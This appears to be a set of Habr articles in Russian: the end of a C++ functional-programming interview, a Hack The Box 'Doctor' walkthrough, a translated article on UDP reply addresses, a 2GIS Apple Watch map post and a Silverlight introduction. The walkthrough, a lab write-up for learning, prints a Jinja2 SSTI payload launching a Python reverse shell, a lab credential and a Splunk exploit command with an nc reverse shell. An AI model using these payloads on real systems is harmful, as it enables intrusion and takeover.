**Александр:** Несмотря на то, что у меня ограниченный опыт работы с функциональной многопоточностью конкретно в C++, имею сказать, что когда у тебя есть мир чистых функций, о них куда проще рассуждать в многопоточной среде. Если ты пишешь логику, например, конкурентную, можно не задумываться о синхронизации всех этих штук, о мьютексах, о критических секциях, о чем угодно. Всё это просто исчезает, поскольку ты думаешь о коде как об обычном последовательном коде, а вся многопоточность и синхронизации прячутся где-то внутри. Есть куча подходов и к многопоточному программированию, и к функциональному. Я не уверен, что так происходит в совершенно всех подходах, но например, software transactional memory — отличный подход для уменьшения сложности в конкурентных приложениях. К сожалению, это вопрос выбора правильных компромиссов.
**Иван:** Когда компилятор делает за тебя всю работу, за это приходится платить эффективностью.
**Александр:** Ну, есть разные проблемы. Для начала, нужно разобраться во всех этих вещах вроде STM, и дальше передать это тайное знание коллегам. А потом найдутся ошибки в конкретной реализации и места, которые могут работать сильно лучше при использовании ручного управления тредами. Зато вы сможете писать быстрей и проще, чем при таком ручном управлении. Выполняться будет медленней, но зато код будет с меньшим количеством ошибок. Кстати, Иван, что ты думаешь о том, насколько этот вопрос хорошо освещен на конференциях?
**Иван:** Эта тема процветает. За последние годы все большие конференции — CPPConf, C++ Russia, Meeting C++, и т.п. — получили доклады или напрямую о ФП, или об алгебраических структурах данных, или о чём-то таком. Иногда докладчики даже не подозревают, что в своём докладе они рассказывают о какой-то концепции из ФП. В C++ приходят вещи из самых разных мест… Люди обычно не пишут только на одном языке. Представим Ивана Иванова, работающего над проектом, написанном на Erlang и C++. Потом приходит Татьяна Петровна, и она уже работает на Haskell с чистыми функциями и всем таким, они берут свои любимые механизмы и портирует их в C++, и в результате огромное количество людей из разных сообществ привносят в C++ всё новые и новые вещи. Всё это происходит у нас на глазах. Как минимум, это происходит в сообществе разработчиков C++, а вот насчёт C++-компаний я не столь уверен. Тем не менее, множество людей из C++-сообщества сейчас работают над функциональными концепциями.
**Александр:** Я правильно понял, что множество топовых C++-разработчиков изучают Haskell только для того, чтобы понять, что творится с C++?
**Иван:** Не уверен, что они учат Haskell именно по этой причине. Думаю, C++-разработчики просто очень эгоистичные. Они так хорошо изучили C++ только потому, что он сложный. И если ты хочешь выучить что-то действительно новое, твой путь лежит явно не в какую-нибудь Java, которая специально создана быть простой. Тебе нужно искать в области необычных и странных языков, самых странных, и Haskell автоматически окажется среди самых популярных ответов. Человек видит его, понимает: о, это что-то более сложное, чем C++, нужно выучить. Когда я изучал Haskell, со мной было то же самое, и у меня есть знакомые, которые прошли точно по такой же цепочке рассуждений.
**Александр:** Когда Эрик Ниблер был у нас в Сибири и показывал свою библиотеку для ренжей, его часто спрашивали — что же было источником вдохновения. Он отвечал, что это Haskell. Может быть, все фичи подряд из него брать не стоит, но некоторые явно нужны в сообществе.
**Иван:** Это что-то вроде эволюции. Генетический материал. И Haskell тоже можно улучшить, взяв что-то из C++. Большинство языков сейчас проходят такую эволюцию. Java попыталась приспособить себе LINQ из C#, а создатели LINQ из C# черпали вдохновение в Haskell, и т.п. Получается такая красивая запутанная сеть взаимовлияния между разными языками.
**Александр:** Тем не менее, C++ всё ещё низкоуровневый язык?
**Иван:** Большинство считает, что да.
**Сергей:** О какой «низкоуровневости» вы сейчас говорите?
**Иван:** Компилируется в низкоуровневый код. Но при этом работает с высокоуровневыми абстракциями. Весь смысл и цель в том, чтобы такие абстракции не приводили к излишним накладным расходам в смысле производительности. C++ должен генерить из своих абстракций такой код, который был бы не хуже написанного вручную. По крайней мере, теоретически.
**Александр:** Что будет, если кто-то нарушит это правило? Например, ренжи.
**Иван:** Страдает производительность компиляции — да. Все новые фичи, особенно — фичи, поставляемые в библиотеках, увеличивают время компиляции. Но нет никаких причин, по которым ренжи должны быть медленными. Если ренжи тормозят, то единственное, кого тут можно винить — это компиляторы, не оптимизированные на этот конкретный случай.
**Сергей:** Тормозят не сами ренжи, а ренжи в режиме отладки — в этом суть всей дискуссии. В релизном режиме они работают отлично.
**Иван:** Это нормально.
**Сергей:** Не все с этим согласны :-)
**Иван:** Да, знаю на практике. В одной компании, в ее самой часто используемой библиотеке… не буду говорить, что это за компания и библиотека… есть алгоритмы, которые асимптотически существенно медленней в отладочном режиме. И кто теперь будет жаловаться, что ренжи делают всё то же самое?
**Сергей:** В той статье, которую мы сейчас обсуждаем, суть была не в самих ренжах, они были только примером для автора, которого взбесило, что подобная ситуация становится трендом, низкая производительность в режиме отладки. В его предметной области, игровых движках, это просто неприемлемо.
**Александр:** Эти люди вообще не любят STL, потому что он работает медленней, чем им нужно. Ренжи просто расширяют библиотеку в том же направлении, и для них это выглядит как ещё одна бесполезная фича, которую они не смогут использовать.
**Сергей:** Haters gonna hate.
**Иван:** Именно. Например, все используют сортировку. Просто представьте, что в стандартной библиотеке больше нет сортировки. Как бы вы её реализовывали?
**Сергей:** Я такой вопрос обычно задаю на интервью :-) Это очень частый вопрос.
**Иван:** Да, частый вопрос — как реализовать сортировку. И дальше ты рассказываешь какую-то базовую версию быстрой сортировки (quick sort), которая на самом деле не используется вообще нигде в мире, потому что она может быть очень медленной в определённых случаях. Стандартная библиотека и не позволяет её использовать, потому что она требует гарантированного N log N, а быстрая сортировка так не может. По большей части может, но стандарт в этом месте очень жесткий, и не говорит об аккумулированном N log N, это должно быть чистое N log N, и как ты будешь реализовывать такой алгоритм? Нужно провести исследование, найти множество разных оптимизаций быстрой сортировки, и слить их в один алгоритм, состоящий по крайней мере из трех разных алгоритмов, как это сделано в libstdc++. В этом и есть смысл стандартных библиотек — тебе не нужно знать все эти вещи, чтобы программировать. Не нужно разбираться, как реализовать всё на свете наиболее эффективным способом, кто-то другой уже позаботился за тебя об этом. Поэтому мне и не нравится такой подход, когда люди заявляют: «STL — очень сложная, давайте не будем её использовать и напишем всё с нуля вручную».
**Сергей:** Мы подходим к концу интервью, поэтому последний вопрос: как вам в России?
**Александр:** Похолодало.
**Сергей:** Даже для тебя? Ты же местный!
**Иван:** А для меня здесь куда теплей, чем ожидалось.
**Сергей:** Сейчас -16, а мы сказали тебе, что будет -40.
**Иван:** Да, вы обещали! Я специально готовился к минус сорока. А потом смотрю на градусник, а там всё теплей и теплей.
**Сергей:** Ну что ж, теперь мы встретимся только на C++ Russia 2019, это будет в Москве, и там будет плюсовая температура. Спасибо за интервью и до встречи!
> Минутка рекламы. 19-20 апреля пройдёт конференция C++ Russia, на которой Иван выступит с докладом [«Move-only C++ design»](https://cppconf.ru/talks/11auqe0dbeawgemasoqws2/?utm_source=habr&utm_medium=444212), а Александр расскажет про монадические парсеры. Кроме того, Иван проведёт один из [трёх больших тренингов](https://cppconf.ru/trainings/?utm_source=habr&utm_medium=444212) — [«Applied functional programming in C++»](https://cppconf.ru/trainings/applied-functional-programming-in-c/?utm_source=habr&utm_medium=444212). До начала конференции остаётся месяц и программа продолжает уточняться. На официальном сайте можно посмотреть, какие доклады [уже попали в программу](https://cppconf.ru/?utm_source=habr&utm_medium=444212#schedule) и приобрести [билеты](https://cppconf.ru/registration/?utm_source=habr&utm_medium=444212). Обратите внимание, что билеты бывают разных типов, и выбрав правильный, можно существенно сэкономить. | https://habr.com/ru/post/444212/ | null | ru | null |
# Hack The Box. Прохождение Doctor. SSTI to RCE. LPE через Splunkd
Продолжаю публикацию решений отправленных на дорешивание машин с площадки [HackTheBox](https://www.hackthebox.eu). Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информация Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей;
Вдобавок к этому я поделюсь своим опытом в *компьютерной криминалистике,* *анализе малвари и прошивок*, *атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов*.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал](https://t.me/RalfHackerChannel) в Telegram и группу для обсуждения любых вопросов в области [ИиКБ](https://t.me/RalfHackerPublicChat). Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем ([ссылка](https://t.me/hackerralf8)).
Recon
-----
Данная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts.
```
10.10.10.209 doctor.htb
```
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент - адрес сканируемого хоста:
```
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
```
 И заходя на сайт обнаружим еще одно доменное имя.
 Добавим его в /etc/hosts.
```
10.10.10.209 doctors.htb
```
И на найденном сайте нас уже встречает форма авторизации, это уже интереснее.
 Entry Point
------------
Давайте зарегистрируемся.
 Просматривая сайт, находим интересную ссылку.
 Но там ничего интересного нет.
 Посидев с формой отправки сообщений, отмечаем, что главная страница не уязвима к XSS.
 А еще понимаем, что попадает в архив.
 Вот только символы не экранированы, а код не выполнился из за наличия . Давайте отправим нагрузку, в которой данные теги будут закрываться.
 И когда мы перейдем в архив, нас встретит ожидаемое окошко алерта.
 Так как есть XSS, давайте проверим шаблонизатор, возможно удастся добиться SSTI. Есть интересная схема определения шаблонизатора.
 Проверяем:
```
{{77}}
```
```
{{7'7'}}
```
```
{{config.items()}}
```
 И находим уязвимость. Наличие SSTI позволяет нам выполнить свой код, для чего мы будем использовать следующий шаблон:
```
{% for x in ().class.base.subclasses() %}
{% if "warning" in x.name %}
{{x().module.builtins'import'.popen("").read().zfill(417)}}
{%endif%}{% endfor %}
```
Давайте выполним следующий реверс шелл:
```
import socket,subprocess,os;
s=socket.socket(socket.AFINET,socket.SOCKSTREAM);
s.connect(("10.10.14.27",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash", "-i"]);
```
Запустим листенер. Полная нагрузка будет такой:
```
{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x().module.builtins'import'.popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect((\"10.10.14.27\",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
```
 USER
-----
Так мы состоим в группе adm, что дает нам право читать логи. Поищем в логах Apache слова pas, secret и т.п.
 И мы находим интересную строку, которая является паролем пользователя.
 Теперь, когда у нас есть учетные данные, давайте попробуем повысить привилегии, с помощью эксплуатации службы Splunk, работающей на 8089 порте. Будем использовать этот эксплоит (https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2).
```
python3 PySplunkWhisperer2_remote.py --lhost 10.10.14.27 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/r.r;mkfifo /tmp/r.r;cat /tmp/r.r|/bin/sh -i 2>&1|nc 10.10.14.27 5432 >/tmp/r.r"'
```
 И получаем бэкконнект на свой листенер.
 | https://habr.com/ru/post/541006/ | null | ru | null |
# UDP и проблема доставки ответа
Ниже — перевод статьи о проблеме работы с udp в сетевых приложениях. Переводчик позволил себе сменить примеры: в исходном тексте другие сетевые адреса и код на ruby. В переводе использован простенький скрипт на перле. Суть проблемы и решение от этого не меняются.
Кроме того, местами добавлены мои комментарии (в скобках, выделены курсивом).
Картинка для привлечения внимания взята из текста замечательной книги «[learnyousomeerlang.com](http://learnyousomeerlang.com)»
#### Тяжкая работа лёгких протоколов
Иногда начинает казаться, что протоколы без установки соединения не оправдывают всей той кутерьмы, которую вызывают.
Для примера разберём ситуацию с получением ответа, когда UDP датаграмма с начальным запросом посылается на дополнительный IP адрес на интерфейсе (alias или secondary IP).
Есть интерфейс eth1:
```
$ ip a add 192.168.1.235/24 dev eth1 && ip a ls dev eth1
2: eth1: mtu 1500 qdisc pfifo\_fast state UP qlen 1000
link/ether 00:30:84:9e:95:60 brd ff:ff:ff:ff:ff:ff
inet 192.168.1.47/24 brd 192.168.1.255 scope global eth1
inet 192.168.1.235/24 scope global secondary eth1
inet6 fe80::230:84ff:fe9e:9560/64 scope link
valid\_lft forever preferred\_lft forever
```
Как обычно выглядит код для получения пакета по udp? Ну, echo сервер может выглядеть как-то очень похоже на то, что под катом:
**echo\_server.pl**
```
#!/usr/bin/perl
use IO::Socket::INET;
# flush after every write
$| = 1;
my ($socket,$received_data);
my ($peeraddress,$peerport);
$socket = new IO::Socket::INET (
MultiHomed => '1',
LocalAddr => $ARGV[0],
LocalPort => defined ($ARGV[1])?$ARGV[1]:'5000',
Proto => 'udp'
) or die "ERROR in Socket Creation : $! \n";
print "Waiting for data...";
while(1)
{
$socket->recv($recieved_data,1024);
$peer_address = $socket->peerhost();
$peer_port = $socket->peerport();
chomp($recieved_data);
print "\n($peer_address , $peer_port) said : $recieved_data";
#send the data to the client at which the read/write operations done recently.
$data = "echo: $recieved_data\n";
$socket->send("$data");
}
$socket->close();
```
Это достаточно простой скрипт на перле, который покажет от кого пришёл udp пакет, содержимое пакета и отправит этот пакет обратно отправителю. Проще некуда. Теперь запустим наш сервер:
```
$ ./echo_server.pl
Waiting for data...
```
Посмотрим, что он слушает:
```
$ netstat -unpl | grep perl
udp 0 0 0.0.0.0:5000 0.0.0.0:* 9509/perl
```
И после этого подключимся с удалённой машины к нашему серверу по основному IP:
```
-bash-3.2$ nc -u 192.168.1.47 5000
test1
echo: test1
test2
echo: test2
```
Как это выглядит в tcpdump'е на нашей машине (ну, или должно выглядеть):
```
-bash-3.2$ tcpdump -i eth1 -nn port 5000
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes
17:41:00.517186 IP 192.168.3.11.44199 > 192.168.1.47.5000: UDP, length 6
17:41:00.517351 IP 192.168.1.47.5000 > 192.168.3.11.44199: UDP, length 12
17:41:02.307634 IP 192.168.3.11.44199 > 192.168.1.47.5000: UDP, length 6
17:41:02.307773 IP 192.168.1.47.5000 > 192.168.3.11.44199: UDP, length 12
```
Просто фантастика — я отправляю пакет и получаю пакет обратно. В netcat'е мы получаем обратно что бы мы не напечатали (смешной эффект, если печатать «стрелочки»).
А теперь тоже самое на вторичный адрес на том же интерфейсе:
```
-bash-3.2$ nc -u 192.168.1.235 5000
test1
test2
```
Как это сумасшествие выглядит в tcpdump'е на этот раз:
```
-bash-3.2$ tcpdump -i eth1 -nn port 5000
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes
17:48:32.467167 IP 192.168.3.11.34509 > 192.168.1.235.5000: UDP, length 6
17:48:32.467292 IP 192.168.1.47.5000 > 192.168.3.11.34509: UDP, length 12
17:48:33.667182 IP 192.168.3.11.34509 > 192.168.1.235.5000: UDP, length 6
17:48:33.667332 IP 192.168.1.47.5000 > 192.168.3.11.34509: UDP, length 12
```
Ну и естественно, никакой уважающий себя сетевой стек не собирается принимать пакеты с совершенно незнакомого адреса, даже если порты стоят правильные. Таким образом, клиент никогда не получит обратные пакеты и будет думать, что сервер просто отбрасывает его запросы.
То что происходит, на первый взгляд кажется полным бредом. Но на самом деле, это обычный дефект для протокола без установки сессии, такого как UDP. Видите ли, наш сокет слушает любой адрес, (пустой параметр LocalAddr при создании сокета передаётся системе как адрес вида «0.0.0.0», любой доступный, что заставляет сокет слушать на всех доступных адресах. И нет, я тоже не знаю, почему это так. Это не особенно интуитивное действие). Когда мы получаем пакет в нашем приложении с помощью socket->recv(), мы не получаем информации о том, на какой конкретно адрес был послан пакет. Мы лишь знаем, что операционная система решила, что пакет был для нас (вот вам и инкапсуляция). Всё что мы знаем, это откуда пакет пришёл к нам. И из-за того, что ядро не хранит никакой информации о соединениях для сокета (ядро штука логичная, просили без соединений — будет без соединений), когда приходит время отправлять пакет обратно, всё что мы можем сообщить это «куда» отправить пакет. (В перле это делается в неявном виде. С объектом $socket связаны адрес и порт отправителя датаграммы, так что в вызове send его указывать не надо).
Но настоящая мозголомка начинается, когда мы пытаемся проставить адрес отправителя в ответной датаграмме. Ещё раз: ядро не хранит никакой информации об отправителе или получателе, так как мы работаем без соединений. И посколько мы слушаем «любой» интерфейс, операционная система думает, что у неё есть карт-бланш на отправку пакета с того адреса, который ей «по душе». В линуксе, похоже, выбирается основной адрес того интерфейса, с которого пакет будет отправлен. *(А на самом деле, адрес определяется в соответсвии с [RFC1122, 3.3.4.2 «Multihoming Requirements»](http://tools.ietf.org/html/rfc1122#page-60), по таблице маршрутизации — примечание переводчика)*. Так что для распространнёного случая «один адрес — один интерфейс» — всё работает. Но как только дело доходит до менее распространённых ситуаций, начинают проявляться нюансы.
Решение в том, чтобы создавать сокеты слушающие конкретные адреса. И отправлять пакет с этих сокетов: ядро будет знать, с какого адреса вы хотите отправлять пакеты и всё будет отлично. Выглядит достаточно просто, ага? Ну и естественно, любое вменяемое сетевое приложение уже так делает, ага? Так что очевидно, что реализация UDP в Ruby просто дерьмо*(в оригинале исходники на руби, — примечание переводчика;)*. Именно так я подумал в начале, и не виню вас, если вы подумали так же. Но пока РУБИкон войны с авторами Ruby'ового UDPSocket'а не перейдён, давайте проведём небольшой эксперимент с другими часто используемыми приложениями. Например, SNMPd. Демон из пакета net-snmpd в убунте подвержен той же проблеме, что и наше тестовое приложение выше. Не похоже, что это какие-то новые грабли, на которые только наступили и рассыпались кучей патчей для испрвалений.
Так что в целом, все страдают одной и той же «болезнью». Под «всеми» подразумевается «некоторые UDP сервера». Есть некоторое количество ПО, которое не подвержено подобной проблеме с алиасами на интерфейсах. На ум сразу приходит Bind и NTPd работает нормально, если запущен после того, как вы сконфигурировали все интерфейсы. В чём же разница? Разница в том, что эти сервисы несколько «умнее» и биндятся на все адреса в системе по отдельности. На примере bind'а:
```
$ netstat -lun |grep :53
udp 0 0 192.168.1.47:53 0.0.0.0:*
udp 0 0 192.168.1.47:53 0.0.0.0:*
udp 0 0 127.0.0.1:53 0.0.0.0:*
```
Это очень круто и решает проблему. Исключение составляет ситуация, когда вы добавляете лишний алиас уже после того, как демон стартовал. Bind не подцепит новый адрес и вам придётся рестартовать сервер. Кроме того, это несколько усложняет код, так как вам приходится как ладить с кучей сокетов внутри программы (например, использовать select() вместо простого блокирования на попытке приёма.) В общем-то, никто не любит лишних сложностей, но с этой можно справится. Однако, настоящая проблема это правило «не добавляйте адресов после старта демона». Необходимость проверять, не добавилось ли в системе ip-адресов, и рестартовать службу после добавляения адреса станет настоящей проблемой.
Однако, есть некоторый workaround и для этой проблемы. Здесь мы вспомним про ntpd. Порты, которые слушает он, выглядят следующим образом:
```
$ netstat -nlup | grep 123
udp 0 0 192.168.1.235:123 0.0.0.0:*
udp 0 0 192.168.1.47:123 0.0.0.0:*
udp 0 0 127.0.0.3:123 0.0.0.0:*
udp 0 0 127.0.0.1:123 0.0.0.0:*
udp 0 0 0.0.0.0:123 0.0.0.0:*
udp6 0 0 fe80::230:84ff:fe9e:123 :::*
udp6 0 0 ::1:123
```
NTPd слушает каждый адрес в отдельности и дополнительно слушает на любом адресе, доступном системе. Я не знаю точно, зачем это нужно. Если просто слушать на каждом адресе в отдельности, то всё будет хорошо, как в случае с байндом. Но если вы добавляете ещё один адрес на интерфейс после старта ntpd, то начинает проявляться та же самая проблема, что и в случае с udp-echo-сервером. Так что я не думаю, что слушание на «любом» интерфейсе даёт какой либо плюс. Однако, это заставляет ntpd вести себя несколько отлично от Bind'а: когда вы посылаете пакет на интерфейс, добавляенный после старта Bind'а, то он просто игнорирует вас (у него нет сокета, который бы слушал ваши запросы). Ntpd же пытается отправить ответ и страдает от проблемы неправильного адреса в ответах. *(Зато можно менять primary адреса на интерфейсах и создавать новые интерфейсы, примечание переводчика).*
На текущий момент, лучшим решением кажется следовать пути Bind'а и ntpd и слушать на всех адреса в отдельности с «фокусом» от ntpd: слушать дополнительно и на 0.0.0.0. При этом, если я получил пакет на 0.0.0.0, то надо запускать сканирования доступных в системе адресов и биндится дополнительно и на них. Это должно решить проблему.
Осталось только заставить это работать (и решить кучу проблем, которые наверняка вылезут на пути). Пожелайте мне удачи. Крики боли и мучений которые вы слышите (не имеет значение, где вы находитесь) наверняка мои.
**UPD:** в [комментариях](http://habrahabr.ru/post/146922/#comment_4951822) появилось интересное пояснение от [Quasar\_ru](https://habrahabr.ru/users/quasar_ru/). Всё таки реализация UDP в скриптовых языках неоднозначна: на чистом С можно написать такое клиентское приложение, которое сможет принять ответ от сервера с другого адреса. Польза от такой реализации — спорная, но всё же реализация возможна. | https://habr.com/ru/post/146922/ | null | ru | null |
# 2ГИС вам на руку. Как мы добавили карту на Apple Watch
Apple Watch быстро завоевали популярность и стали самыми популярными часами в мире, опередив Rolex и остальных производителей. Идея создания приложения для часов витала в офисе 2ГИС с 2015 года.
До нас полноценное приложение с картой на часах выпустила только сама Apple. Приложение Яндекс.Карт отображает лишь виджеты пробок и время в пути до дома и работы. Яндекс.Навигатор, Google Maps, Waze и Maps.Me вообще недоступны на часах.
По сути, из-за множества ограничений системы и сложности в разработке, компании либо вообще не делают приложения для часов, либо делают их очень простыми. Нельзя просто взять и сделать карту на часах. Но мы смогли.
Загляните под кат, чтобы узнать, как пет-проджект вырос в полноценный продукт.
**UPD.:** <https://github.com/teanet/DemoWatch>
### Мы решили делать карту. Что было на старте?
1. Опыт разработки на часах — 2 дня работы над тестовым проектом.
2. Опыт работы со SpriteKit — 0 дней.
3. Опыт написания MapKit – 0 дней.
4. Сомнения, что что-то может пойти не так — ∞.
### Итерация 1 — полет мысли
Мы серьезные люди, поэтому для начала решили составить план работ. Учли, что мы работаем в жестко распланированном спринте, имеем пять сторипоинтов на «мелкопродуктовые задачи» и полное незнание, с чего начать.
Карта — это очень большая картинка. Картинки на часах мы показывать умеем, значит и с показом карты справимся.
У нас есть сервис, который умеет резать карту на кусочки:
Если нарезать такую картинку и положить в WKImage, получим самый простой рабочий прототип за пять копеек.
А если на эту картинку добавить PanGesture и на каждый свайп устанавливать новую картинку, то получим симуляцию взаимодействия с картой.
/Радуемся/ Звучит ужасно, выглядит примерно так же, работает еще хуже, но по факту задача выполнена.
### Итерация 2 — минимальный прототип
Непрерывная загрузка картинок дорого обходится батарее в часах. Да и само время загрузки страдает. Нам хотелось получить что-то более полноценное и отзывчивое. Краем уха мы слышали, что в часах есть поддержка SpriteKit — единственного фреймворка под WatchOS, с возможностью использовать координаты, зум и кастомизировать всё это великолепие под себя.
После пары часов StackOverflow Driven Development (SDD) получаем вторую итерацию:
Один SKSpriteNode, один WKPanGestureRecognizer.
/Радуемся/ Да это же MapKit за 6 копеек, полностью рабочий. Срочно в релиз!
### Итерация 3 —добавляем тайлы и зум
Когда эмоции спали, задумались, куда же идти дальше.
Поняли, что важнее всего:
* Заменить картинку на тайлы.
* Подложить 4 тайла в бандл приложения и соединить их вместе.
* Обеспечить зум картинки.
Закинем 4 тайла в бандл приложения, потом положим их на некую:
```
let rootNode = SKSpriteNode()
```
с помощью нехитрой математики соединим их вместе.
Зум делаем через WKCrownDelegate:
```
internal func crownDidRotate(
_ crownSequencer: WKCrownSequencer?,
rotationalDelta: Double
) {
self.scale += CGFloat(rotationalDelta * 2)
self.rootNode.setScale(self.scale)
}
```
/Радуемся/ Ну теперь то точно всё! Пару фиксов, и в мастер.
### Итерация 4 — оптимизируем взаимодействие с картой
На следующий день оказалось, что для SpriteKit anchorPoint не влияет на зум. Зум полностью игнорирует anchorPoint и происходит относительно центра rootNode. Получается, что на каждый шаг зума нам нужно корректировать позицию.
Также было бы неплохо грузить тайлы с сервера, а не хранить весь мир в памяти часов.
Не забываем, что тайлы стоит привязать к координатам, чтобы они лежали не в центре SKScene, а на соответствующих местах на карте.
Тайлы выглядят примерно так:
Для каждого zoomLevel (далее «z») идет свой набор тайлов. Для z = 1 у нас 4 тайла составляют весь мир.
для z = 2 — для того, чтобы покрыть весь мир, нужно уже 16 тайлов,
для z = 3 — 64 тайла.
для z = 18 ≈ 68 \* 10^9 тайлов.
Теперь их нужно положить в мир SpriteKit.
Размер одного тайла 256 \* 256 pt, значит
для z = 1 размер «мира» будет равен 512 \* 512 pt,
для z = 2 размер «мира» будет равен 1024 \* 1024 pt.
Для простоты расчетов положим тайлы в мир следующим образом:
Закодируем тайл:
```
let kTileLength: CGFloat = 256
struct TilePath {
let x: Int
let y: Int
let z: Int
}
```
Определим координату тайла в таком мире:
```
var position: CGPoint {
let x = CGFloat(self.x)
let y = CGFloat(self.y)
let offset: CGFloat = pow(2, CGFloat(self.z - 1))
return CGPoint(x: kTileLength * ( -offset + x ),
y: kTileLength * ( offset - y - 1 ))
}
var center: CGPoint {
return self.position + CGPoint(x: kTileLength, y: kTileLength) * 0.5
}
```
Расположение удобно, так как позволяет привести всё в координаты реального мира: latitude/longitude = 0, что как раз в центре «мира».
latitude/longitude реального мира преобразуются в наш мир следующим образом:
```
extension CLLocationCoordinate2D {
// относительное положение в мире ( -1 < TileLocation < 1 )
func tileLocation() -> CGPoint {
var siny = sin(self.latitude * .pi / 180)
siny = min(max(siny, -1), 1)
let y = CGFloat(log( ( 1 + siny ) / ( 1 - siny )))
return CGPoint(
x: kTileLength * ( 0.5 + CGFloat(self.longitude) / 360 ),
y: kTileLength * ( 0.5 - y / ( 4 * .pi ) )
)
}
// абсолютное положение в мире для нужного zoomLevel
func location(for z: Int) -> CGPoint {
let tile = self.tileLocation()
let zoom: CGFloat = pow(2, CGFloat(z))
let offset = kTileLength * 0.5
return CGPoint(
x: (tile.x - offset ) * zoom,
y: (-tile.y + offset) * zoom
)
}
}
```
С зум левелами огребли проблем. Пришлось потратить пару выходных, чтобы собрать в кучу весь математический аппарат и обеспечить идеальное слияние тайлов. То есть тайл для z = 1 должен при зуме идеально переходить в четыре тайла для z = 2 и наоборот, четрые тайла для z = 2 должны переходить в один тайл для z = 1.
Кроме того, понадобилось превратить линейный зум в экспотенциальный, так как зумы меняются от 1 <= z <= 18, а карта масштабируется, как 2^z.
Плавный зум обеспечивается постоянной корректировкой положения тайлов. Важно, чтобы тайлы сшивались ровно посередине: то есть, чтобы тайл уровня 1 переходил в 4 тайла уровня 2 при зуме 1.5.
SpriteKit под капотом использует float. Для z = 18 у нас получается разброс координат (-33 554 432/33 554 432), а точность float – 7 разрядов. На выходе имеем погрешность в районе 30 pt. Чтобы избежать возникновение «щелей» между таймами, размещаем видимый тайл максимально близко к центру SKScene.
/Радуемся/ После всех этих телодвижений получили готовый к тестированию прототип.
### Релиз
Так как приложение толком не имело ТЗ, мы нашли пару добровольцев, чтобы провести небольшое тестирование. Особых проблем не нашли, и решили выкатывать в стор.
После релиза оказалось, что на часах первой серии процессор не успевает отрисовать первый кадр карты за 10 секунд и падает по таймауту. Пришлось изначально создавать карту полностью пустой, чтобы уложиться в 10 секунд, а потом постепенно грузить подложку. Сначала разрабатывать все уровни карты — а потом грузить для них тайлы.
Очень много времени ушло на отлаживание сети, правильную настройку кеша и малый Memory Footprint, чтобы WatchOS максимально долго не пытался убить наше приложение.
Попрофилировав приложение, выяснили, что вместо обычных тайлов можно использовать Retina-тайлы, практически без вреда для времени загрузки и потребления памяти, и в новом релизе уже перешли на них.
### Итоги и планы на будущее
Мы уже можем отображать на карте маршрут с маневрами, построенными в основном приложении. Функция будет доступна в одном из ближайших релизов.
Проект, который изначально казался невыполнимым, оказался крайне полезным лично для меня. Часто пользуюсь приложением, чтобы понять, скоро ли выходить на нужной остановке. Верю, что зимой оно окажется еще полезнее.
Заодно в очередной раз убедился, что не так важна сложность проекта, вера окружающих в успех задачи или наличие свободного времени на работе. Главное — это желание сделать проект и нудное, постепенное движение к цели. В итоге у нас есть полноценный MapKit, который почти ничем не ограничен и работает с 3 WatchOS. Его можно дорабатывать как хочется, не ожидая, когда Apple выкатит подходящий API для разработки.
**P.S.** Для интересующихся могу выложить готовый проект. Уровень кода там далек от production. Но, согласно военному принципу, — не важно, как это работает, главное, что работает! | https://habr.com/ru/post/422935/ | null | ru | null |
# Silverlight 2. Интеграция с HTML и JavaScript
[](http://blogs.msdn.com/blogfiles/mikcher/WindowsLiveWriter/399b0553bd9f_9392/silverlighter-splash-20081203b_4.png)
В начале хотелось бы поделиться интересной новостью. Мы при поддержке креативных дизайнеров из самарского [Турбомилка](http://www.turbomilk.ru/) запустили альфа-версию Сообщества пользователей Silverlight — сайт [Сильверлайтер](http://silverlighter.ru).
Кстати, Сильверлайтер — это не только участник сообщества, но и это замечательное существо с газовым свечением на картинке :)
Ну, а теперь, собственно, перейдём к самогй статье.
Здравствуйте дорогие читатели. Меня зовут Сергей Пугачёв. Я уже достаточно долгое время являюсь Silverlight разработчиком и активно пропагандирую данную технологию, поэтому меня часто спрашивают о том, как реализовать ту или иную возможность или функциональность. Данная статья является своего рода ответом на эти часто задаваемые вопросы. Это первая часть, она посвящена вопросам интеграции с HTML и JavaScript.
Однако начнём с небольшого маркетингового вступления.
